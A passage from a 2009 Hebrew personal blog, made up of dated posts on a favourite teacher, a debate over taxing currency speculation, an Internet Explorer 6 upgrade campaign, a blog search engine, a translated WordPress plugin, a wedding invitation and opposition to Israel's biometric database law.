אולי גם זה היה משפיע על תקציב המורים. אולי אנחנו האזרחים היינו לוחצים על פוליטיקאים לתקצב יותר את מערכת החינוך אילו תדמית המורה הייתה יותר "ראויה" בעינינו לכסף. מי יודע, אולי.
אשמח לקרוא את מחשבותיכם בנושא.
אסיים את הפוסט הזה במענה על השאלה שהוצגה בסרטון – "איזה מורה זכור לי שהשפיע עלי בילדותי".
תשובתי היא ד"ר יוסי באומהקר. האיש המוכשר הזה לימד אותי לבגרות בביולוגיה. השיעורים שלו היו ברמה שונה מזו של כל מורה אחר אצלו למדתי. השיעורים היו מתחילים בזמן, והוא היה מתחיל לרוץ על החומר, להסביר דברים – בקצב שאיתגר אותי יותר מכל שיעור אחר. כל כך הערכתי את שיעוריו, שבעקבותיהם לקחתי באוניברסיטה הפתוחה את הקורס "מבוא לביולוגיה". ואני אף יכול לומר שבבואי לבחור את המסלול שלי לתואר שני, השיעורים שהיו לי איתו השפיעו על בחירתי ללכת למסלול של ביוסטטיסטיקה. אז יוסי, אני מאמין שיום אחד תגיע לפוסט הזה, אז דע לך שאני מעניק לך תודה רבה. אתה בפירוש אחד מהאנשים שעיצבו את חיי.
ואם אתם בטוויטר (או בלוגרים) שרוצים לכתוב על הפוסט הזה, אשמח אם תכתבו משהו קצר על מורה שהשפיע לטובה על חייכם. ועל המשקל של "גם מסע של אלף מייל מתחיל בצעד אחד קטן" הרי שגם מיתוג (מחודש של מורים) אשר יכול להזדקק לאלפי מודעות ומסרים יכול להיות ויתחיל בטוויט אחד קטן.
22:48 הפוסט הזה הוא מחווה לחבר הכנסת אורי אורבך. ד"ר אורי אמיתי כתב בבלוגו את הפוסט "שוב מילה טובה לח"כ אוּרי אורבך" בו מספר ד"ר אמיתי כיצד ח"כ אורבך עומד בקשר אישי עם הציבור ואף פונה לציבור כדי ללמוד ממנו.
הסיפור התחיל כשד"ר מנור קרא לח"כ אורבך להרים את הכפפה ולהוביל יוזמה להטיל מס על ספוקלציא במטבע-חוץ. באופן מרשים, ח"כ אורבך ענה באופן הבא:
עם זאת, (כותב אורבך), אצטרף ברצון ליוזמה כזו אם תבוא מחבר כנסת שהבנתו בענייני בורסה ועניינים מוניטרים גדולה משלי. על כל פנים, אם יש באפשרותך לשלוח לי קצת יותר חומר בנושא כדי שאבין יותר טוב במה מדובר – אודה לך. אולי בכל זאת אמצא דרך להעלות את הנושא על סדר היום, לפחות של ועדת הכספים.
אני לא אעיז לקחת עמדה בנושא כזה, שנראה לי כרוך בהרבה ידע רקע שאין ברשותי. עם זאת, פניתי לחברי בפייסבוק לשאול לדעתם. ועקב כך התפתחה לה שיחה מרתקת בין שני חברים טובים – שני טופר ואיתמר שאלתיאל. אז למען טובת הציבור, אני מביא בפניכם את ההתכתבות, למקרה ומי מביניכם ירצה לקרוא (ואף להגיב).
Shany Topper
לפני שמטילים מס על ספקולציה במטבע חוץ, צריך לבצע רפורמה משמעותית בפיקוח על התחום הזה (ובתחום "עושי השוק" בכלל). כזכור לך אני עבדתי זמן קצר בחברה שעסקה בתחום הזה, ושרימו בצורה מפורשת לקוחות שלהם. כאשר גיליתי את הרמאות שלהם ורציתי להלשין עליהם, הייתי המום לגלות שאין שום גוף שמפקח בכלל על התחום הזה.
חוץ מזה שכבר קיים מס על מסחר במטבע חוץ, זה נקרא מס על רווחי הון, והוא כולל בתוכו גם את מטבע החוץ וגם את שוק המניות והנגזרים. מס נוסף שיוטל רק על מטבע החוץ הוא מיותר לפי כל חוקי ההגיון
Itamar Sha'altiel
מס על מטבע חוץ הוא לא מיותר, משום שבשוק הזה יש מספר שחקני ענק, שמזיזים את ערך המטבע כרצונם. אני לא בטוח שמס זו התשובה, אבל הגבלת תנועות הון לטווח קצר היא הכרחית
Shany Topper
מס הוא עדיין מיותר, כאמור כבר קיים מס שכזה. אני אסכים שקיים צורך בפיקוח, אבל זה עניין אחר לחלוטין שאין קשר בינו לבין מס.
במספר שווקים בעולם למשל, יש פיקוח שאומר שאם משקיעים בנייר אחד מעל סכום מסויים, אסור לזה לההיות ספקולציה לטווח קצר(נדמה לי שבארצות הברית למשל, אם אתה קונה מעל 100 מליון דולר מנייר מסויים, אתה מחוייב להחזיק אותו לפחות שבוע לפני שאתה יכול למכור אותו שוב, אבל יכול לההיות שאני טועה בפרטים). חוק שכזה היה יכול להוריד בצורה משמעותית את התנודתיות המזוייפת שקיימת היום בנושא
Itamar Sha'altiel
אני, בשלב הזה, בעד כל מה שיצמצם את המשחק בשוק המט"ח. אם מס יעשה זאת (ולא סביר שהוא ישנה יותר מדי, תלוי בגודלו), אני בעדו. קשה לי להאמין שבאוצר יסכימו לאיזשהו פיקוח, מאיזשהו סוג
Shany Topper
"צמצום המשחק" הוא בעייתי מאד. מסחר במטבע חייב לההיות חופשי לפי תקנות קרן המטבע העולמית, כמו כן, "צמצום המשחק" בתחום המט"ח עלול לגרום להקפאה שלו, דבר שבתורו יכול לרסק את השקל, דבר שיהיה רע מאד.
לפי המשפט שאתה כתבת משתמע שמבחינתך שיאסרו בכלל על מסחר בשוק המט"ח. האם אני באמת צריך לפרט לך למה זה יהיה רע?
יותר טוב שהרשות לניירות ערך תקבל גם סמכויות לפקח על שוק המט"ח. (או, אם חייבים, להקים רשות נוספת, למרות שאני חושב שזה יהיה כפל סמכויות מיותר)
הם בסופו של דבר עושים עבודה טובה (כן, יש גם שם פאשלות, אבל רוב הזמן הם בסדר גמור)
Itamar Sha'altiel
השאלה מה זה "חופשי". האם התערבות בנק ישראל בשוק המט"ח מצמצמת את החופש או שהיא הכרחית לאיזון השוק? אין שום הכרח ש"חופשי" יהיה מטורף. מה שמתרחש כרגע רחוק מלהיות שוק משוכלל, הוא קרטל.
אני לא חושב שצריך לאסור על מסחר במט"ח, אבל אני כן חושב שצריך לצמצם אותו, מאוד. משחקי המט"ח יעילים מאוד למספר מצומצם של אנשים, ומזיקים למגזרים שלמים, יצרניים. המדיניות הקיימת אינה גזירת טבע, וגם אינה גזרת קרן המטבע העולמית.
Shany Topper
איתמר, אני לא יודע מה הרקע שלך בתחום, אבל מה שכתבת פה מראה שאו שאין לך רקע, או שאתה מבולבל ולא באמת מרוכז בדיון.
1- מסחר במט"ח (וחשוב מזה, נגזרים), קריטי לענפים הבאים: יבוא, יצוא, תיירות, בנקאות, ביטוח, ספנות, תעופה, בטחון, וכמובן לענף הציבורי שמוציא כספים אדירים על רכישת ציוד וטכנולוגיות מחו"ל.
כל אחד מהם עם אינטרסים שונים, ואסטרגיות השקעה שונות, בשוק הנ"ל.
אךי אתה יכול להגיד שזה יעיל מאד למספר מצומצם של אנשים ומזיק למגזרים שלמים?
2- אני מסכים לחלוטין יש בעיה עם המדיניות הקיימת. באופן ספציפי, חוסר הפיקוח, דבר שגורם למסחר מחלות כגון: "עושי שוק" שמרמים משקיעים, מינוף יתר של אלפי ועשרות אלפי אחוזים, ספקולציות תוך יומיות על סכומים אדירים, דבר שגורם לתנודתיות מזוייפת. וכן הלאה.
אני רק טוען שמיסוי נוסף לא יעזור, מכיוון שהוא ירחיק את המשקיעים ההגונים, וישאיר את הרמאים. קל מאד לשלטון לנסות לפתרון כל בעיה באמצעות מיסוי נוסף או העלאת מס קיים, במיוחד שאתה יודע בדיוק לאן זורם הכסף (כמה שרים ללא תיק יש בממשלה הנוכחית?). במקום להשתמש בפתרונות שיעלו לממשלה קצת כסף, אבל יתנו פתרון אמיתי לבעיה
Itamar Sha'altiel
הרקע שלי בתחום קטן מאוד, וכולו מאוטודידקציה. אבל לא טענתי כנגד *מסחר במט"ח*, טענתי כנגד המסחר הנוכחי במט"ח. התעשייה בארץ, וכל מה שקשור ליבוא ויצוא, מנסים להסתמך על ערך מטבע מסוים. אם אתה רוצה לייבא בד, למשל, כדאי לך ערך מטבע יציב. זה יסייע לך לתכנן. כאשר ערך המטבע משתנה מדי יום, רוב ניכר של הציבור סובל.
ושוב, רק כדי להדגיש: אני לא נגד מסחר במט"ח. אני גם לא לגמרי בעד המס. אני כן בעד צמצום תנועות ההון לטווח קצר ופיקוח גדול יותר. קשה מאוד לדבר על שוק חופשי כאשר יש איקס שחקנים שמחזיקים ברוב ההון ורוב המידע, ואיקס כפול 300 שמחזיקים במעט מאוד הון ובאפס מידע.
Shany Topper
אני מציע לך ללמוד את התחום בצורה יותר מסודרת ורצינית. יש לך כמה טעויות בהנחות שלך, אבל לא משנה.
אתה יודע מה הרבה יותר ישפיע על התנודתיות המוגזמת לטווח קצר שיש היום? שיחסלו חברות מסחר שמציעות היום מינוף של פי 400 להשקעה. (ככה שאם אתה רוצה להשקיע ב10,000 ש"ח, פתאום ההשקעה שלך שווה 4,000,000 ש"ח, והתנודתיות שאתה גורם הופכת לאבסורדית, ומצד שני כל פיפס קטן לכיוון הלא נכון, ואתה מפסיד את כל ההשקעה שלך)
פיקוח – כן, וכן גדול
מיסוי נוסף על מס רווחי שוק הון? מיותר, ורק עלול לגרום נזק
Itamar Sha'altiel
אני לומד את התחום בזמני שלי
אין לי בעיה שיחסלו גם מינופים מהסוג הזה. כאמור, הבעיה היא תנודתיות מוגזמת. כאמור, המסחר במט"ח כרגע הוא גורם ישיר לה. האם המס יסייע? אני לא יודע. אבל אני לא בטוח שהוא יזיק, ולא ראיתי סימוכין לכך עד כה
23:20 נתחיל בחלק האומנותי, ואז נהיה רציניים.
הסרטון הבא נקרא "מנת יתר מהאינטרנט". ומציג באופן מצויין את ההצפה שכולנו מתחילים לחוות נוכח עודף ההזדמנויות שהאינטרנט מציע לנו:
(אותר דרך טוויט של ניב, תודה)
אז בפוסט הזה אני מציע שנתחיל בשאלה פשוטה - מה אתם עושים עם לינקים?
את השאלה הזו אני מגלגל הלאה מאייל סלע שהתחיל בלשאול אותה בבלוג שלו בפוסט בשם Survey: How do You Process Online Information? משם גל מור המשיך את השיחה בפוסט משלו בשם "דרכים רבות לשמור קישורים".
והנה אני מפנה אליכם, קוראי היקרים, את השאלה: מה אתם עושים עם הלינקים שלכם ?
התשובה שלי, לגבי עצמי: לא מספיק.
נכון לכיום אני שומר את המועדפים שלי בדלישס. ומדי פעם שולח אותם בטוויטר (מתוך רצון שהם יסונכרנו במועד מאוחר יותר עם הדלישס באמצעות תוסף הפיירפוקס טווילישס). אני גם מכניס אותם לפעמים למועדפים, אבל לא עושה איתם כלום שם.
יש פה שאלה עמוקה יותר של "מהו תהליך העבודה הנכון לגבי איסוף ואיבוד מועדפים?" שזו בעצם השאלה המעניינת כאן. אבל עדיין לא מצאתי עבורה תשובה טובה. מה דעתכם?
0:05 כדי לעודד את רוחי, בחור חביב בשם איתי שלח לי סרטון בשם "תל אביבי אמיתי", המציג משחק ארקייד שבו תל אביבי עושה את דרכו בחיים העירוניים. סרטון שזכה ממני להזדהות, ובעיקר לשימחה על הדברים שאינני מזדהה איתם – 4 דקות מבדרות למדי:
Real TLVivi from Ela Abudi on Vimeo.
14:11
חברים יקרים,
דבורה פרידס ואנוכי (טל גלילי) נשמח לפגוש אתכם ב- 11.9.09 במסיבת-חתונה שתתקיים בפארק הירקון (מיקום מדוייק עוד לא נקבע, וישלחו עליו פרטים בהמשך) ואשר תתחיל בשעה 9:00 בבוקר (טקס אלטרנטיבי יתחיל בשעה 10:00 בבוקר).
מסיבת החתונה תהיה במתכונת של מסיבת פארק: כל חבר מביא איתו משהו נחמד לאכול/לשתות אשר יתחלק בין כולנו. באופן כזה נזכה לראות כמה שיותר אנשים נהדרים אך מבלי ליצור ציפיה מרומזת לקבל צ'קים כדי שיכסו את עלות האירוע(זה הרעיון בקיום מסיבת הפארק בחוץ ולא באולם – עלות האירוע תהיה קטנה למדי).
בנוסף, אם מי מכם גם מיומן בכלי נגינה או בצורת אומנות בידורית אחרת ומעוניין להוסיף לחלק האומנותי של המפגש אזי נשמח לדעת על כך
אם אתם מעוניינים להגיע, אנא מלאו את הטופס הבא, כדי שיהיה לנו דרך לדעת כמה אנשים צפויים להגיע (מה הם מתכננים להביא, את מי לחבר עם מי בשביל טרמפים) וגם כדי שיהיה לנו את פרטי הקשר שלכם באופן זמין.
(הטופס מופיע בהמשך הפוסט)
Loading…
בשביל הסקרנים מביניכם: תוכנית החתונה של דבורה ושלי כוללת למעשה 3 אירועים. האירוע הראשון הוא "חתונת משפחה" אשר יתקיים ב- 9.9.09. חתונה זו תהיה חתונה מסורתית אשר ישתתפו בה בני משפחה בלבד. החתונה השניה (או "החתונה האלטרנטיבית" או "מסיבת החתונה לחברים") תהיה האירוע שיתקיים ב- 11.9.09. האירוע השלישי יתרחש בארה"ב לחברים וקרובי המשפחה של דב אשר גרים בארה"ב (היות ודב היא אמריקנית אשר עשתה עליה לארץ).
אוהבים אתכם,
דבורה וטל
2:18 היום אינטרנט אקספלורר 6 מת. אם ברצונך, באפשרותך לשדרג לדפדפן מתקדם יותר כגון:
ובכן, עדיין לא. אינטרנט אקספלורר 6 עדיין לא מת ועוד אנשים רבים ברשת משתמשים בו.
לפני שבוע הזמנתי בלוגרים לפרוייקט קבוצתי של חסימת הבלוג שלהם לגולשי אינטרנט אקספלורר 6 ליום אחד. כמה ימים מאוחר יותר (בצירוף מקרים מדהים) גיליתי שקבוצה של אתרי ווב 2.0 התארגנו ומקדמים את היוזמה של לעודד אנשים לשדרג מ- IE6. נחמד לגלות איך שהתפרצתי בזירה של האינטרנט הישראלי לדלת פתוחה בזירה העולמית.
ובכן, היום הוא 07.08.09. במקור מה שרציתי היום לעשות הוא לחסום את הגולשים של IE6 לאתר שלי לחלוטין.
הביקורת: לצד תגובות תמיכה, קיבלתי הרבה ביקורת מאנשים בתגובות. אנשים כתבו והסבירו למה הדבר הזה עלול להזיק לדירוג שלי בגוגל (עד שמישהו עידכן אותנו שבעצם גוגל לא גולש עם בוט של IE6). היו אנשים שהסבירו שזה לא הוגן כלפי האנשים שגולשים ממקום העבודה שלהם, שם אין להם אולי הרשאות מנהל לביצוע שידרוג לדפדפן (אבל היות ואני עושה זאת ביום שישי, אני משער שרוב הישראלים לא גולשים מהעבודה). עד שהיו אנשים שטענו שאני מפלה אנשים עם דפדפנים ישנים ושזה לא מוסרי (ובכן, אני מתקשה לקבל את זה והתייחסתי לזה בהרחבה בתגובות).
אז אם לסכם: לצורך המדע (של לראות מה יקרה, כי זה מעניין אותי) בשילוב עם שלום בית, החלטתי (עבור גולשי IE6) להציג הודעה שקופצת על כל המסך אך גם לאפשר להם לגשת לאתר באם ירצו בכך (על ידי לחיצה על המודעה, או דיפדוף למטה בדף).
ומה אתם יכולים לעשות:
(שהוא בלוגר אהוב עלי ביותר)
מבין היוזמות החברתיות בהן הייתי מעורב, זו כנראה האחת בעלת החשיבות הנמוכה ביותר אך יחד עם זאת עם ההסכמה הגורפת ביותר לגבי המטרה.
אני מחכה ליום שבו נתעורר ונאמר שהיום לא נצפה אף דפדפן אינטרנט אקספלורר 6 ברשת!
11:28
0:07 הסיפור מאחורי: לפני 4 ימים פירסמתי פוסט המספר על בלוג סרצ', השירות ששוקי ואני מציעים עבור גולשים הרוצים לחפש בבלוגוספירה הישראלית. והנה לפני יממה קיבלתי מייל מרזי בלט אשר שאל אותי "בבקשה , האם תוכל להוסיף פלט של RSS עבור תוצאות החיפוש". לאחר ששאלתי מדוע הוא חושב שזה חשוב, פניתי למצוא פתרון לאתגר ומצאתי אותו במאמר ברשת בשם "Getting an RSS Feed Out of a Google Custom Search Engine (CSE)"' בדיוק מה שרציתי. הפניתי את רזי למאמר והוא עקב אחר ההוראות ויצר את המכונה המתאימה לעבודה. בזכות עבודתו (והגמישות הרבה של יאהו-צינורות), באפשרותינו לפרסם את ה"מנוע" הזה לקהל הרחב.
הקישור למנוע המאפשר לקבל רסס של תוצאות חיפוש בבלוג-סרצ' הוא זה:
מה אפשר לעשות עם זה?
לפניכם צילום מסך של המנוע:
סימנתי עם 3 חצים ירוקים את הדברים המעניינים בכלי הזה.
אז לדוגמא, אפשר לבצע חיפוש עבור השם שלכם (או שם מוצר או מותג של הלקוח שלכם או דומיו) ולקבל עידכון על שיח שמתקיים אודותיו בבלוגוספירה בכל פעם שבלוגר חדש כותב משהו בנושא (כלומר, כל אימת שגוגל מאנדקס משהו שבלוגר כתב על הנושא). לדוגמא, ביצעתי את החיפוש "המאגר הביומטרי" ופה מתחת הטמעתי את תגית התוצאות להנאתכם:
{"pipe_id":"be4f3947daa40c5a59aa350dbb3c735d","_btype":"list","pipe_params":{"q":"\u05d4\u05de\u05d0\u05d2\u05e8 \u05d4\u05d1\u05d9\u05d5\u05de\u05d8\u05e8\u05d9"}}
לסיום:
1:30 (פוסט זה מיועד לבלוגרי וורדפרס, לשאר קוראי הבלוג – עמכם הסליחה)
קרדיט על התמונה: RobotJohnny.com
האדם שהעלה את המודעות שלי יותר מכל לנזקים של IE 6 היה כנראה תומר כהן. כבר דובר ועלה הרעיון מספר פעמים לחסום את הבלוגים שלנו לדפדפן, ולעודד את הגולשים להתקין גירסה חדשה יותר. דיבורים דיבורים, אבל עכשיו הגיעה הזדמנות מצויינת לעשות את זה. משתי סיבות:
הנה מה שהגיתי במוחי כצעדים ההגיוניים בפרוייקט כזה, אשמח לדעתכם.
שלבי/כללי הפרוייקט הקבוצתי
כל מי שבוחר להשתתף בפרוייקט הקבוצתי מוזמן לבצע את הצעדים הבאים:
ולפרוטוקול: 84% מהגולשים לאתר שלי (שזה למעלה מ- 500 גולשים ליום) הם משתמשי IE6. כך שאני צפוי לספוג מכה ביום הזה, אבל זו למטרה טובה!
9:13 בפוסט זה אני משחרר לאוויר תירגום לעברית של תוסף הוורדפרס Insights (או בשמו המעוברת "תובנות").
מטרה: "תובנות" הוא תוסף לאפשר כתיבה זריזה ואיכותית יותר של פוסטים.
הדרך: התוסף מוסיף בתחתית של מסך כתיבת הפוסט עוד קופסה המאפשרת לחפש מידע (בפוסטים של הבלוג שלכם, בגוגל, בוויקיפדיה האנגלית, בתמונות פליקר, בסרטוני הוידיאו בגוגל, בגוגל מפות), ולהכניס אותו ישירות לפוסט. זה חוסך זמן (מעבר בין מסכים, הורדת תמונות למחשב וכו') ומעלה את איכות התוכן (כיוון שכעת קל יותר לתת קישורים לפוסטים אחרים בבלוג, להוסיף תמונות או סרטונים בשביל האווירה וכולי).
הערה על השימוש: כדי להכניס קישור לפוסט שמצאתם – עליכם לסמן (במצב של עורך וויזואלי) את המילה אליה ברצונכם להוסיף את הקישור – ואז ללחוץ על האייקון של הוספת הקישור. (תודה ל"גולשת" שסיפרה לי שצריך הבהרה בנקודה הזו)
דוגמאות (צילומי מסך) והורדה – בהמשך הפוסט
דוגמאות:
חיפוש תמונות בפליקר (רצוי לחפש בשפה האנגלית כמובן):
חיפוש סרטונים ביוטיוב:
מציאת מפה בגוגל-מפות: דורש ללכת לעמוד התוסף, לקבל API מגוגל ולהפעיל את המודול על ידי לחיצת V על הקופסית. קחו בחשבון שהמפות שאנחנו מקבלים להם גישה לא כוללות את ישראל לצערי, זה מה יש…
לחפש תוצאות בוויקיפדיה (רק האנגלית, אבל גם זה משהו)
חיפוש תוצאות בבלוג של עצמנו (שזה שימושי מאד כשרוצים בזריזות לתת לינק לפעם האחרונה שכתבנו על משהו)
הורדה:
התקנה: כרגיל. לפתוח את הזיפ, להעלות לתקיית ה- wp-content/plugins. ללכת לעמוד התוספים ולהפעיל. בשביל שגוגל-מפות יעבוד, צריך גם ללכת לעמוד ההגדרות של התוסף (למרות שגם אחרי ההגדרות הוא לא יציג מפות מישראל, צר לי…)
פירגון:
הפלאגין שימח אתכם? אם אתם רוצים, הנה איך שתוכלו לשמח אותי בחזרה:
9:00 נתחיל בלינק, ונמשיך בסיפור וההסברים:
www.BlogSearch.co.il
לאחי שוקי יש יכולת מרשימה לחשוב על רעיונות משונים שמשום מה עובדים. מי היה חושב שבלוג על חומוס יקבל קרוב לחצי מליון מבקרים עם למעלה ממליון כניסות? לא אני, כששוקי שאל אותי אם אבנה לו בלוג על חומוס חשבתי שהוא מתלוצץ, הוא היה רציני.
וכך, לפני כמה זמן, פנה אלי שוקי עם עוד רעיון מוזר "מנוע חיפוש לבלוגים". בהתחלה פיקפקתי, חשבתי שכבר יש כאלה ומה כבר יש לחדש. ואז שוקי איתגר אותי ואמר "לך תחפש לי בבלוגוספירה העברית". ניסיתי, והבנתי את כוונתו. עד להיום לא היה אפשר לחפש בבלוגוספירה הישראלית. כלומר, אפשר, אבל רק אם אתם מוכנים להכניס לתוצאות את כל האתרים האחרים שדוברים עברית ברשת.
"אם תבנה אותו, הם יבואו"הבעיה של מנועי חיפוש כמו טכנורטי או אפילו גוגלהוא שהם אינם יודעים איזה אתרים (בעברית) הם בלוגים ואיזה לא. אבל מי כן יכול לדעת? הבלוגרים עצמם כמובן. האתר שבנינו מאפשר לכל בלוגר (או קורא נאמן שלו) להוסיף את הבלוג שלו לחיפוש. וכך, במקום שניאלץ ללכת ולחפש את כל הבלוגרים ברשת, כל שעלינו לעשות הוא שאותם בלוגרים ימצאו אותנו ויוסיפו את עצמם למאגר. ומרגע שזה יקרה, כולנו נוכל לראות את הדפים שלהם בתוצאות החיפוש של מנוע החיפוש של בלוג סרצ'.
וטריק אחרון, אנחנו מציעים קוד שמאפשר להטמיע את מנוע החיפוש באתרים אחרים, למקרה שתרצו.
אז אם אתם בלוגרים, תבדקו אם אתם מופיעים בתוצאות החיפוש:
ואם הבלוג שלכם אינו מופיע במאגר התוצאות, נשמח שתוסיפו את בלוגכם למאגר מכאן. וכך כולנו נוכל למצוא אתכם.
חיפוש נעים,
טל
19:25 טוב, החוק הביומטרי שהולך לעבור עושה לי עצוב בלב. אבל במקביל לזה מצטברים אצלי במלאי רשימה של סרטונים ממש חמודים, אז רציתי איתכם כמה מהם.
1) וויליאם שאטנר מקריא קטע מנאום הפרידה של שרה פיילין
הקטע מהנאום שהוא מקריא אמיתי, ראו כאן.
2) אנשי הוקה (the voca people), משחזרים שירים מוכרים באמצעות גרונם בלבד. אני לא אוהב את כל השירים, או את כל הביצועים, אבל סך הכל זה משעשע למדי
3) על אותו משקל, א-קאפאלה מבצעים את שיר הפתיח של משפחת סימפסון
4) השיר PEACE של דפש מוד. נשמע טוב, ולבחורה בקליפ יש פנים ממש יפות:
[www.youtube.com]
נראה לי שזה מספיק בשביל חיוכון קטן להיום…
19:13 לפני יומיים (24.7) פרסם אפי פוקס (אצל גל מור) פוסט מעורר מחשבה אשר עסק בחוק המאגר הביומטרי וביו”ר ועדת המדע והטכנולוגיה, ח”כ מאיר שטרית (כתבתי עליו בפוסט המדווח על הקשר באפשרי בין מאיר שטרית ל-OTI)
היום, כפי שגילה לי טוויטר, הפוסט נעלם. (למרות שנפלאות גוגל מאפשרות כמובן עדיין לאתר אותו). בתשובה לתהיה מה קרה לפוסט אמר גל מור בטוויטר שלו (לאחר בירור עם ידיד, נודע לי עכשיו שאיימו לתבוע את גל גם על הטוויט שבו הוא הודיע על איום התביעה. לכן אני מסיר את הטוויט שהוא כתב).
מרגוליס העלה את הנקודה הזו כמקרה מעניין המדבר על הצורך ב"עיתונות חזקה" שתוכל לחקור מקרה כזה ולעמוד למול איומים משפטיים. אני שואל את עצמי האם המקרה הזה מדגים צורך (שכנראה ילך ויגבר), בהתאגדות של "אנשים" להגן על חופש הכתיבה של בלוגרים ברשת. אולי יש כבר גופים שיוכלו לקחת על עצמם דברים כאלה ורק צריך לאתר אותם (אולי אחת ממחלקות הייעוץ המשפטי האוניברסיטאיות, או אולי איגוד האינטרנט הישראלי היה עשוי לעזור בזה… אין לי מושג).
ומה אתם יכולים לעשות:
בינתיים, אני מזמין אתכם לכתוב על זה בקצרה בטוויטר שלכם (עם לינק לפוסט שלי או של מרגוליס). ואולי גם לכתוב על זה פוסט בעצמכם.
אני לא משפטן אבל למיטב ידיעתי לכתוב על זה שרותי שטרית איימה משפטית על בלוגר בשביל שיסיר פוסט שעוסק בדיון על החוק הביומטרי ומאיר שטרית (ומתייחס לקשר אפשרי בין מאיר שטרית אליה, שאני לא בדיוק זוכר מה הוא היה כרגע, משום מה) – זה לא הוצאת דיבה (אלא תיאור עובדתי של העניין). אם זאת, אני מקווה מאד שגם אני לא אקבל איום לתביעה – זה לא כיף (גל מור, ליבי איתך).
נ.ב: עכשיו נודע לי שיש דחייה של הקריאה השניה והשלישית להצעת החוק על המאגר, פורסם באתר האגודה לזכויות האזרח.
9:18 גל מור חשף הבוקר אצלו בבלוג פוסט בשם "חשיפה: מדוע חבר הכנסת שטרית כה להוט לקדם את המאגר הביומטרי?" המעלה חשדות מפחידות על הקשר בין מאיר שטרית לחברת OTI והמוטיבציה אשר מנחה אותו בלחץ שהוא מפעיל להקמת המאגר הביומטרי.
למעוניינים מביניכם, הנה סיכום:
מהו המאגר הביומטרי? חוק אשר ידרוש מכל אחד מאיתנו למסור טביעת אצבע וצילום פנים, אשר יישמרו במאגר ממשלתי.
למה אנשים מתנגדים לזה?
כי מאגר כזה עלול:
או לסיכום: מאגר ביומטרי הוא מה שמאפשר בידי ממשלה דיקטטורית לעקוב (ועל כן לשלוט) באזרחיה באופן חסר תקדים!
ומה התחדש מאז אתמול?
שעד עכשיו אנשים לא הבינו למה מאיר שטרית כל כך דוחף את המאגר הזה. והיום בעקבות הכתבה של גל מור (והחשיפה של אפי פוקס), יש חשד שלמאיר שיטרית יש מניעים פוליטיים/כלכליים מאחורי קידום המאגר. רוצים לדעת עוד, קיפצו לקרוא אצל גל מור את "חשיפה: מדוע חבר הכנסת שטרית כה להוט לקדם את המאגר הביומטרי?"
עידכון מהצהריים: בעיקר מעניין לראות את הדיונים שהתפתחו בתגובות, אשר כוללים דיון פרקטי על האתיקה של עיתונאים למול אלו של בלוגרים. ומועלים שלל טענות נגד ובעד הסיפור (ואף בעד החשיבות של הסיפור באופן כללי, ביחס לסוגיה הבעייתית עצמה של הצעת החוק). אכן, פוסט השווה עיון!
* * * * * * * * * * * * * * * * * * * *
רוצים הרחבה ארוכה יותר? הנה טקסט שקיבלתי במייל, שאני מאמין שראוי לפירסום מחודש:
א': " שמעת שחבר הכנסת מאיר שטרית מנסה להעביר בימים אלו חוק הדורש מכל אזרח לעבור סריקת פנים ולמסור טביעת אצבע? "
ב': " אבל לא עשיתי שום פשע? "
א': " זה לא משנה – כולם יצטרכו. "
ב': " נו אז? "
א': " ח"כ מאיר שטרית רוצה לשמור את כל המידע הזה במאגר. זה נקרא חוק המאגר הביוטמטרי . "
ביומטרי = זיהוי על פי מאפיין גופני כמו טביעת אצבע ומבנה פנים.
ב': " איך זה קשור אליי בדיוק? "
א': " מה זאת אומרת איך זה קשור אליך, זה ממש מסוכן לכל אחד ולמדינה? "
"מדובר בסכנה גדולה לחברה בישראל ובדבר בלתי הפיך." השר מיכאל איתן (Ynet)
ב': " למה מאגר זה מסוכן? מה כבר הכי גרוע שיכול לקרות? "
א': " הדבר הכי גרוע הוא שזה מספק את היכולת שכל מצלמה או סרט שצולם יוכל לזהות כל אדם ולתעד זאת. קח למשל את סרטי האבטחה של עזריאלי. בעזרת תוכנה פשוטה והמאגר הזה, המחשב יזהה כל אחד וירשום איפה הוא היה ועם מי. זה אומר שכדי לבדוק מידע על מישהו, אפשר יהיה לדעת מה הוא עשה בכל זמן, עם מי הוא היה ונפגש עם תיעוד מלא של זה. המחשב יודע ושומר הכול.
זה אומר שלמישהו יהיה הרבה כוח על הרבה אנשים… ואתה יודע איזה אנשים שואפים לכוח כזה. "
ב': " מה שאתה אומר נשמע קצת מוגזם. "
א': " אתה צודק, זה נשמע מוגזם אך אנשים בעמדות כוח עשו דברים גרועים מאלה. ההיסטוריה והעיתונים מלאים בדוגמאות כאלה. "
"יש חשש כי כאשר יימצא בידי הממשלה יורחבו מטרותיו (של המאגר הביומטרי) בדיעבד, והוא ישמש למטרות נוספות. לפרט אין אפשרות להתגונן מפני מצב כזה, שכן הוא אינו יכול לחזור בו ממסירת מידע ביומטרי."
מרכז המחקר והמידע של הכנסת
ב': " יש סכנות אחרות? "
"יש כאן פירצה מאוד מאוד מדאיגה. אני לא בטוחה שאני שקטה שהם יקבעו את הכללים והתקנות." השרה לשעבר, ח"כ יולי תמיר (YNET)
א': " יש הרבה סכנות. אחת הסכנות שיגנבו מידע מהמאגר הזה או את המאגר כולו ואז לא ניתן לדעת כלל מה יעשו עם המידע הרגיש הזה – התחזות, הפללות, סחיטה, סחיטה פוליטית… "
"זליגת מאגר ביומטרי – גרועה מאסון צ'רנוביל" השר מיכאל איתן. (YNET)
אסון צ'רנוביל (26 באפריל 1986) – תאונה שקרתה בתחנת כוח גרעיני באוקראינה. מאות אלפי אנשים חלו בסרטן. באזור לא ניתן לקיים היום חיים. אירוע זה נחשב לאסון הסביבתי, מעשה ידי אדם, הגדול בהיסטוריה.
ב': " ומה שטרית אומר על כל זה? "
"בהרבה מדינות בעולם יש מאגרים ביומטריים." ח"כ מאיר שטרית YNET
"לא לחינם המילה מאגר היא זו שמעוררת את המחלוקת, מאגר כזה לא קיים במדינות אחרות בעולם החופשי"ח"כ ניצן הורביץ (The Marker).
א': " שטרית אומר שזה קיים במקומות אחרים אך הוא מטעה. בכל המדינות בעולם החופשי מאגר כזה אינו חוקי כי הוא בניגוד לחוקים מקומיים ובינלאומיים. גם בדרכונים באירופה ובארה"ב שבהם חלק מהמדינות משתמשות בטביעת אצבע וסריקת פנים לא שומרים את המידע במאגר. המידע נשמר על שבב בדרכון והוא בבעלות האזרח ולא נמצא אצל השלטון במאגר. "
"כיום, אין מדינה מערבית ודמוקרטית שבה יש מאגר מידע שבו שמורות טביעות ביומטריות של כלל אזרחי המדינה או תושביה." מרכז המחקר והמידע של הכנסת
מהן זכויות אדם מאתר הכנסת
ב': " אז למה בכלל עושים את המאגר הזה – זה נשמע גרוע יותר מלקעקע מספרים על אנשים? "
